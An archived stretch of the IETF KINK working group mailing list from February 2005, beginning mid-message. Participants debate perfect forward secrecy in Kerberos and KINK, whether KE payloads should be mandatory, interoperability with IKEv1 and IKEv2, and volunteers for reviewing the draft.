of the=20 > motivations for KINK was to do IPsec SA setup with lower CPU overhead > by avoiding public key operations. If you add in a D-H exchange for PFS= ,=20 > you blow away that motivation and this winds up looking like a strange > way to build a GSS-authenticated IKE.. This all comes down to what constitutes a "session". I'd argue that it would be a lot better if Kerberos "sessions" (ie, tickets and their lifetimes) provided the notion of PFS since=20 that would cover every protocol that implements kerberos authentication instead of the piecemeal approach that=20 each kerberos application needs to deal with PFS itself.=20 That and the place that I'd think you _really_ want PFS is for the AS-REQ/AS-REP since that's where the most vulnerable piece of information is exchanged (ie, the password).=20 In fact, I'd be willing to wager that KINK is the _only_=20 Kerberized application that has any notion of PFS right now which really illustrates why if people think that PFS is important, it ought to be done up a level. But.. we are where we are. If the editorial comment is=20 really causing mass hysteria, then we should just take it out because it doesn't affect anything about KINK. Mike --=-wT4iAe/0tJZyo72AjaF9 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQglIibMsDAj/Eq++AQJd1gP9EbLb+TUcp7V+jyLofrE9MYuowy+B4IHN djVFLHQrZDecgGiV/bFBphgopz9UjkijnDr35ApslGYFgfy1mFG+Ps4JnnMYW3U6 ALKR+AVHd4YzkSwoci4siEEXZZTc9BZ6TxA5m4OoolLqUu//bUIvNMunZsPqYUst xb+i95NRRik= =ZT63 -----END PGP SIGNATURE----- --=-wT4iAe/0tJZyo72AjaF9-- From owner-ietf-kink Tue Feb 8 15:51:30 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18NpUaV047671; Tue, 8 Feb 2005 15:51:30 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j18NpUhY047670; Tue, 8 Feb 2005 15:51:30 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU [18.7.7.80]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j18NpTYW047664 for ; Tue, 8 Feb 2005 15:51:29 -0800 (PST) (envelope-from raeburn@MIT.EDU) Received: from outgoing.mit.edu (OUTGOING-AUTH.MIT.EDU [18.7.22.103]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id j18NpRCS026992; Tue, 8 Feb 2005 18:51:28 -0500 (EST) Received: from [18.18.1.76] (KEN-WIRELESS.MIT.EDU [18.18.1.76]) (authenticated bits=0) (User authenticated as raeburn@ATHENA.MIT.EDU) by outgoing.mit.edu (8.12.4/8.12.4) with ESMTP id j18NpK0a017082 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT); Tue, 8 Feb 2005 18:51:21 -0500 (EST) In-Reply-To: <1107904649.3305.14.camel@thomasm-lnx.cisco.com> References: <20050204211105O.sakane@kame.net> <1107526530.8247.29.camel@thomasm-lnx.cisco.com> <1107899336.25726.120.camel@thunk> <1107904649.3305.14.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Ken Raeburn Subject: Re: #22 Date: Tue, 8 Feb 2005 18:51:20 -0500 To: ietf-kink@vpnc.org X-Mailer: Apple Mail (2.619.2) X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.42 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: On Feb 8, 2005, at 18:17, Michael Thomas wrote: > This all comes down to what constitutes a "session". I'd > argue that it would be a lot better if Kerberos "sessions" (ie, tickets > and their lifetimes) provided the notion of PFS since > that would cover every protocol that implements kerberos > authentication instead of the piecemeal approach that > each kerberos application needs to deal with PFS itself. There's been talk occasionally about doing this. We've had to fix up some problems in the basic protocol spec first, though, and that's been taking too long. > That and the place that I'd think you _really_ want PFS > is for the AS-REQ/AS-REP since that's where the most > vulnerable piece of information is exchanged (ie, the > password). Well, the password is not sent, but yes, the AS exchange is the obvious place to start. Various preauthentication schemes should be able to add PFS easily, if desired, and at least one has been proposed. Ken From owner-ietf-kink Tue Feb 8 16:55:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j190tmrA050627; Tue, 8 Feb 2005 16:55:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j190tmhi050626; Tue, 8 Feb 2005 16:55:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j190tlsV050610 for ; Tue, 8 Feb 2005 16:55:47 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 113B91FC05 for ; Wed, 9 Feb 2005 09:55:26 +0900 (JST) Date: Wed, 09 Feb 2005 09:55:25 +0900 (JST) Message-Id: <20050209.095525.66031221.nov@tahi.org> To: ietf-kink@vpnc.org Subject: Re: Kink Working Group From: Nobuo OKABE In-Reply-To: References: X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: chairs, It is just information. I can find in the ML that the following people volunteered for the reviewers. Ken Raeburn (Mon, 3 Jan 2005) KAMADA Ken'ichi (Wed, 12 Jan 2005) Shoichi Sakane (Thu, 20 Jan 2005) In the ML, there is no objection against proposed milestones which chairs showed 19 Jan. # There are may issues though.... From: Sam Hartman Subject: Kink Working Group Date: Tue, 08 Feb 2005 16:32:11 -0500 > However I did establish a deadline in early January. The working > group chairs needed to propose new milestones and propose > IPsec/Kerberos reviewers by February 7. That day has past and I have > not heard from the chairs on this issue. There was some discussion of > milestones but it was never formalized. ----- nobuo From owner-ietf-kink Tue Feb 8 17:24:10 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j191OAhG051945; Tue, 8 Feb 2005 17:24:10 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j191OAMJ051944; Tue, 8 Feb 2005 17:24:10 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j191O9nY051925 for ; Tue, 8 Feb 2005 17:24:09 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:1978:3333:7b75:3c4d] ([2001:240:2:0:1978:3333:7b75:3c4d]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Wed, 09 Feb 2005 10:22:58 +0900 id 00007DBD.420965F3.00003D8B Message-ID: <420965FE.2070708@miyazawa.org> Date: Wed, 09 Feb 2005 10:23:10 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Sam Hartman CC: ietf-kink@vpnc.org Subject: Re: Kink Working Group References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, I'd like to be a reviewer of the document. I have implemented IPsec stack in Linux as a core member of USAGI project. And I'm implementing current KINK spec into embedded device. I can review the document from IPsec architecture point of view. Sam Hartman wrote: > > In early January I asked what the status of Kink was and whether there > is sufficient energy to finish the protocol. The answer appears to be > that there is clearly sufficient energy and there has been an active > discussion moving towards resolution of issues. We've received at > least three document reviews with significant overlap in issues and > have been working towards resolving those issues. > -- Kazunori Miyazawa From owner-ietf-kink Tue Feb 8 19:57:22 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j193vMb9061684; Tue, 8 Feb 2005 19:57:22 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j193vMUE061683; Tue, 8 Feb 2005 19:57:22 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from luminous.mit.edu (LUMINOUS.MIT.EDU [18.101.1.61]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j193vHo8061673 for ; Tue, 8 Feb 2005 19:57:17 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by luminous.mit.edu (Postfix, from userid 1000) id A05CF76D2E; Tue, 8 Feb 2005 22:57:46 -0500 (EST) To: Michael Thomas Cc: Bill Sommerfeld , Shoichi Sakane , ietf-kink@vpnc.org Subject: Re: #22 References: <20050204211105O.sakane@kame.net> <1107526530.8247.29.camel@thomasm-lnx.cisco.com> <1107899336.25726.120.camel@thunk> <1107904649.3305.14.camel@thomasm-lnx.cisco.com> From: Sam Hartman Date: Tue, 08 Feb 2005 22:57:46 -0500 In-Reply-To: <1107904649.3305.14.camel@thomasm-lnx.cisco.com> (Michael Thomas's message of "Tue, 08 Feb 2005 15:17:29 -0800") Message-ID: <87r7jqe66d.fsf@luminous.mit.edu> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >>>>> "Michael" == Michael Thomas writes: Michael> In fact, I'd be willing to wager that KINK is the _only_ Michael> Kerberized application that has any notion of PFS right Michael> now which really illustrates why if people think that PFS Michael> is important, it ought to be done up a level. You'd lose the wager; the GSSAPI support for ssh does PFS. I do agree PFS should be supported at a higher level in Kerberos though; that is on krb-wg's agenda to enable. --Sam From owner-ietf-kink Tue Feb 8 20:09:39 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1949dgE062413; Tue, 8 Feb 2005 20:09:39 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1949dH8062412; Tue, 8 Feb 2005 20:09:39 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1949cjf062401 for ; Tue, 8 Feb 2005 20:09:38 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id B0E9A11 for ; Wed, 9 Feb 2005 13:09:28 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 4nA9so; Wed, 9 Feb 2005 13:09:28 +0900 (JST) Date: Wed, 09 Feb 2005 13:10:43 +0900 Message-ID: <20050209131043XY%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #22 In-Reply-To: <1107899336.25726.120.camel@thunk> References: <20050204211105O.sakane@kame.net> <1107526530.8247.29.camel@thomasm-lnx.cisco.com> <1107899336.25726.120.camel@thunk> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 08 Feb 2005 16:48:57 -0500, Bill Sommerfeld wrote: > > On Tue, 2005-02-08 at 16:24, Sam Hartman wrote: > > >>>>> "Michael" == Michael Thomas writes: > > > > Michael> Well, it's pretty simple really: when you get tickets > > Michael> from the KDC, they aren't protected by PFS so using PFS > > Michael> later is pretty questionable. It's not useless, but it's > > Michael> not any huge win either. Until Kerberos itself supports > > Michael> PFS, people deploying KINK really ought not get worked up > > Michael> into a lather about turning on PFS to improve security > > Michael> since it's doesn't to any great degree. > > > > I'm confused. I thought the point of PFS was to make it impossible to > > recover session data . How does the fact that the KDC does not do PFS > > decrease the value of PFS for Kink? > > I'm also confused by Michael's remarks, but, as I recall, one of the > motivations for KINK was to do IPsec SA setup with lower CPU overhead > by avoiding public key operations. If you add in a D-H exchange for PFS, > you blow away that motivation and this winds up looking like a strange > way to build a GSS-authenticated IKE.. I agree with Michael that PFS should be provided by Kerberos. On the other hand, I also agree with Sam and Bill that PFS provided by KINK has more-than-nominal values. The issue here is the tradeoff between PFS and low computational cost. Thinking on the motivation of KINK, which reduce computational cost to exchange SAs, taking low CPU power at the cost of PFS is reasonable to me. So I'd propose an editorial change to the phrase "it is somewhat questionable whether a system which is heavily relying on Kerberos benefits from PFS." -- KAMADA Ken'ichi From owner-ietf-kink Tue Feb 8 21:00:23 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1950Nvb064727; Tue, 8 Feb 2005 21:00:23 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1950NQ3064726; Tue, 8 Feb 2005 21:00:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1950MtR064720 for ; Tue, 8 Feb 2005 21:00:23 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 5702A5 for ; Wed, 9 Feb 2005 14:00:22 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 1T3Lwx; Wed, 9 Feb 2005 14:00:22 +0900 (JST) Date: Wed, 09 Feb 2005 14:01:39 +0900 Message-ID: <20050209140139XE%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: <1107528333.8249.33.camel@thomasm-lnx.cisco.com> References: <20050204213547M.sakane@kame.net> <1107528333.8249.33.camel@thomasm-lnx.cisco.com> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Fri, 04 Feb 2005 06:45:33 -0800, Michael Thomas wrote: > > I haven't looked it up in the draft, but my feeling is > that the Receiver MUST implement KE payloads, though > I suppose that it may be administratively rejected with > an error message if it doesn't want to participate. I feel that MUST is too strong. It makes a comformant implementation impossible on small devices without hardware MODP (or something) accelerator. > IKEv1 doesn't define it because it always expects that > the initial DH is performed; KINK doesn't require this > since there's already a shared key in the ticket. Do you mean that KINK doesn't require KE payloads? (Sorry if this is my misunderstanding.) Sakane-san's point (as far as I can read) is that if KINK allows using KE payloads, the following 3 issues should be considered. I think only the 3rd item needs additional text to the KINK spec. - Which error code is returned when the responder doesn't support KE, if we go with IKEv1. (I think INVALID-PAYLOAD-TYPE is enough.) - KINK (nor IKEv1) doesn't negotiate DH group, so the operators must agree the group in advance. (I don't know whether KINK spec needs to describe this though.) - KINK initiators usually set inbound SAs before CREATE command, but it's not possible when using KE payloads. > On Fri, 2005-02-04 at 04:35, Shoichi Sakane wrote: > > > #23 [*] KE interoperability (section 6.8) > > > > > > What happens if a peer that implements the KE payloads communicates > > > with a peer that does not. Specify the behavior in sufficient detail > > > to guarantee interoperability. (Sam Hartman) > > > > my understanding is correct, there is no description in the IKEv1 > > specifications though it defines the error code which can be used > > in this case. IKEv2 defines clearly. so if KINK specification > > complies to IKEv1 manner, we have to define the behavior and describe > > it for interoperability. if KINK complies to IKEv2 manner, we can > > probably leave it. > > > > another problem comes up. there is no way to negotiate a DH group > > to use in a quick mode. so in IKEv1, they have to define the DH group > > before they negotiate. current KINK specification does not touch it. > > this is no matter in IKEv2. > > > > and an initiator can not install the inbound SA when the initiator > > choices to send KE because KEYMAT is not calculated before the initiator > > receives KE from the responder. the document has to touch this situation. -- KAMADA Ken'ichi From owner-ietf-kink Wed Feb 9 01:22:31 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j199MVDe049173; Wed, 9 Feb 2005 01:22:31 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j199MVTa049172; Wed, 9 Feb 2005 01:22:31 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j199MTT9049114 for ; Wed, 9 Feb 2005 01:22:30 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j199MchB069551 for ; Wed, 9 Feb 2005 18:22:38 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Wed, 09 Feb 2005 14:01:39 +0900" <20050209140139XE%kamada@nanohz.org> References: <20050209140139XE%kamada@nanohz.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050209182217P.sakane@kame.net> Date: Wed, 09 Feb 2005 18:22:17 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 43 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > > I haven't looked it up in the draft, but my feeling is > > that the Receiver MUST implement KE payloads, though > > I suppose that it may be administratively rejected with > > an error message if it doesn't want to participate. I disagree. it must reduce the value of using KINK. > > IKEv1 doesn't define it because it always expects that > > the initial DH is performed; KINK doesn't require this > > since there's already a shared key in the ticket. I am assuming that "the initial DH" means the group number used in phase 1. If so, there is no description in RFC2409 to use the same group in phase 2 when the negotiation uses KE payload. actually, it brought an interoperability problem at the test event. so we have to describe what KINK do that. > Sakane-san's point (as far as I can read) is that > if KINK allows using KE payloads, the following 3 issues > should be considered. I think only the 3rd item needs additional > text to the KINK spec. > > - Which error code is returned when the responder doesn't support KE, > if we go with IKEv1. > (I think INVALID-PAYLOAD-TYPE is enough.) > > - KINK (nor IKEv1) doesn't negotiate DH group, > so the operators must agree the group in advance. > (I don't know whether KINK spec needs to describe this though.) > > - KINK initiators usually set inbound SAs before CREATE command, > but it's not possible when using KE payloads. Thank you for the clarification. > > > and an initiator can not install the inbound SA when the initiator > > > choices to send KE because KEYMAT is not calculated before the initiator > > > receives KE from the responder. the document has to touch this situation. I noticed what the document probably does not touch. When a responder accepts the KE from the initiator, it would be better that the responder SHOULD(or MUST) add ACKREQ bit to the response message in order to be less packet loss. From owner-ietf-kink Wed Feb 9 08:26:18 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j19GQIjD043888; Wed, 9 Feb 2005 08:26:18 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j19GQINi043887; Wed, 9 Feb 2005 08:26:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j19GQDuf043875 for ; Wed, 9 Feb 2005 08:26:13 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-2.cisco.com (171.71.177.254) by sj-iport-3.cisco.com with ESMTP; 09 Feb 2005 09:37:51 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.88,190,1102291200"; d="asc'?scan'208"; a="224753806:sNHT31089532" Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id j19GPvq8022431; Wed, 9 Feb 2005 08:25:57 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j19GLKOm015401; Wed, 9 Feb 2005 08:21:20 -0800 Subject: Re: #23 [*] KE interoperability (section 6.8) From: Michael Thomas To: Shoichi Sakane Cc: ietf-kink@vpnc.org In-Reply-To: <20050209182217P.sakane@kame.net> References: <20050209140139XE%kamada@nanohz.org> <20050209182217P.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-UTRO53uZ+JxLmUGvt0QX" Organization: Cisco Systems Message-Id: <1107966362.4948.8.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 09 Feb 2005 08:26:02 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107966080.321967"; x:"432200"; a:"rsa-sha1"; b:"nofws:2447"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"XorxCGs+G63hmPLb/Y3xtgp/9fvq6gmLfUdxjPgeqRZzY8JelEXMP6vJEforD/jyVEYmOuZ1" "ERhe2lDNYYgs0OAXdHxNHcCSCWZWomb8j6hHYcn6xr1tkDXmlKzG+r1bGPSZtZwon7xee3P7e8V" "sAMddYID6pxZZsOsuWCh1Jr8="; c:"Subject: Re: #23 [*] KE interoperability (section 6.8)"; c:"From: Michael Thomas "; c:"Date: Wed, 09 Feb 2005 08:26:02 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-UTRO53uZ+JxLmUGvt0QX Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-09 at 01:22, Shoichi Sakane wrote: > > > I haven't looked it up in the draft, but my feeling is > > > that the Receiver MUST implement KE payloads, though > > > I suppose that it may be administratively rejected with > > > an error message if it doesn't want to participate.=20 >=20 > I disagree. it must reduce the value of using KINK. I don't understand: if the receiver has a way of=20 rejecting the use of PFS, where is the harm here? The sender at worst would have to retry without the KE payload it seems to me. >=20 > > > IKEv1 doesn't define it because it always expects that > > > the initial DH is performed; KINK doesn't require this > > > since there's already a shared key in the ticket. >=20 > I am assuming that "the initial DH" means the group number used > in phase 1. =20 No, I meant that IKE always performs an initial Diffie Hellman exchange, so the KE payload is=20 mandatory. > > Sakane-san's point (as far as I can read) is that > > if KINK allows using KE payloads, the following 3 issues > > should be considered. I think only the 3rd item needs additional > > text to the KINK spec. > >=20 > > - Which error code is returned when the responder doesn't support KE, > > if we go with IKEv1. > > (I think INVALID-PAYLOAD-TYPE is enough.) Maybe it should be more specific so that a sender can know that it's really the KE payload that's causing problems? Another possibility that I haven't looked at yet is for the receiver to _not_ send its KE payload back in which case the sender would realize that the receiver didn't perform the DH and it could proceed as if the sender KE wasn't present at all? > > - KINK initiators usually set inbound SAs before CREATE command, > > but it's not possible when using KE payloads. I believe the appropriate behavior is specified here... > > > > and an initiator can not install the inbound SA when the initiator > > > > choices to send KE because KEYMAT is not calculated before the init= iator > > > > receives KE from the responder. the document has to touch this sit= uation. >=20 > I noticed what the document probably does not touch. When a responder > accepts the KE from the initiator, it would be better that the responder > SHOULD(or MUST) add ACKREQ bit to the response message in order to be > less packet loss. Hmm, I thought that that was actually in the draft. If not, then I think that you're right... Mike --=-UTRO53uZ+JxLmUGvt0QX Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iQCVAwUAQgo5mrMsDAj/Eq++AQIj5gP/X5tbRN37hgrsp9U2qsRa6Gqiy48S3/mc kXWOPq7WkAIjPe3CFOQ7xXntQvKKiX4CLv3c4zcTywuP7miGj4WeJxZEhiAzn2YG B1aAgMbrTpqvXmsB72ONjJYiBRWKaLlmt/vtrxLK9Dtr08MrFzAfyfxUpOwS5PWi mOR3U5agU8M= =Of7O -----END PGP SIGNATURE----- --=-UTRO53uZ+JxLmUGvt0QX-- From owner-ietf-kink Wed Feb 9 08:43:38 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j19GhcDI044984; Wed, 9 Feb 2005 08:43:38 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j19Ghcop044983; Wed, 9 Feb 2005 08:43:38 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-3.cisco.com (sj-iport-3-in.cisco.com [171.71.176.72]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j19Ghb67044958 for ; Wed, 9 Feb 2005 08:43:37 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-1.cisco.com (171.71.177.237) by sj-iport-3.cisco.com with ESMTP; 09 Feb 2005 09:54:54 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.88,190,1102291200"; d="asc'?scan'208"; a="224763340:sNHT49698592" Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id j19Gh6uC004613; Wed, 9 Feb 2005 08:43:06 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j19GcO2V015584; Wed, 9 Feb 2005 08:38:25 -0800 Subject: Re: #23 [*] KE interoperability (section 6.8) From: Michael Thomas To: "KAMADA Ken'ichi" Cc: ietf-kink@vpnc.org In-Reply-To: <20050209140139XE%kamada@nanohz.org> References: <20050204213547M.sakane@kame.net> <1107528333.8249.33.camel@thomasm-lnx.cisco.com> <20050209140139XE%kamada@nanohz.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-7qXhYDFYQckVf55o6MYW" Organization: Cisco Systems Message-Id: <1107967387.4948.14.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 09 Feb 2005 08:43:07 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1107967105.49162"; x:"432200"; a:"rsa-sha1"; b:"nofws:3140"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"A2Zm7GehEf+qwSp/QXhX9ZddH1sFZ+vjuOFEPpFHPTVXlgaUJKZrVuiXKvNsiMjlvTVKAQrH" "DPhLO/BJtMP3oVjzHaCxXm/AjLLeOH9lmIT/pzZxR+S2piPwUxNXecUhG6B/mSPbkCXBSNHYoAp" "mIVWdHMjkEptlT9PXhENksbM="; c:"Subject: Re: #23 [*] KE interoperability (section 6.8)"; c:"From: Michael Thomas "; c:"Date: Wed, 09 Feb 2005 08:43:07 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " 